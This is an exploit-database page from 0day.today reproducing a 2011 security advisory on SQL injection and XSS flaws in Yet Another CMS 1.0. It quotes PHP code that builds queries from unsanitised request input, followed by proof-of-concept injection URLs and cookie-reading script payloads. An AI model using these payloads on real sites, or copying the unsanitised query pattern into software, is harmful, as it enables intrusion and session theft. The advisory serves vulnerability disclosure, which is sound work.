0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Yet Another CMS 1.0 SQL Injection & XSS vulnerabilities
Advisory: Yet Another CMS 1.0 SQL Injection & XSS vulnerabilities Advisory ID: SSCHADV2011-031 Author: Stefan Schurtz Affected Software: Successfully tested on Yet Another CMS 1.0 Vendor URL: http://yetanothercms.codeplex.com/ Vendor Status: informed ========================== Vulnerability Description: ========================== Yet Another CMS 1.0 is prone to multiple SQL Injection and XSS vulnerabilities ================== Technical Details: ================== // search.php $result_set = get_search_result_set($_POST['pattern']); // includes/functions.php function get_search_result_set($pattern, $public = true) { global $connection; $query = "SELECT id, subject_id, menu_name, position, visible, content, CONCAT('... ', SUBSTRING(content, LOCATE('" . $pattern . "',content), 200), ' ...') as fragment FROM pages WHERE content like '%" . $pattern . "%'"; // index.php <?php find_selected_page(); ?> // includes/functions.php function find_selected_page() { global $sel_subject; global $sel_page; if (isset($_GET['subj'])) { $sel_subject = get_subject_by_id($_GET['subj']); $sel_page = get_default_page($sel_subject['id']); } elseif (isset($_GET['page'])) { $sel_subject = NULL; $sel_page = get_page_by_id($_GET['page']); } else { $sel_subject = NULL; $sel_page = NULL; } } function get_page_by_id($page_id) { global $connection; $query = "SELECT * "; $query .= "FROM pages "; $query .= "WHERE id=" . $page_id ." "; $query .= "LIMIT 1"; ================== Exploit ================== SQL Injection http://<target>/index.php?page=[sql injection] http://<target>/search.php -> 'search field' -> [sql injection] XSS http://<target>/search.php -> 'search field' -> '"</script><script>alert(document.cookie)</script> http://<target>/index.php?page='</script><script>alert(document.cookie)</script> ==================== Disclosure Timeline: ==================== 18-Oct-2011 - informed developers ======== Credits: ======== Vulnerabilities found and advisory written by Stefan Schurtz. # 0day.today [2024-12-25] #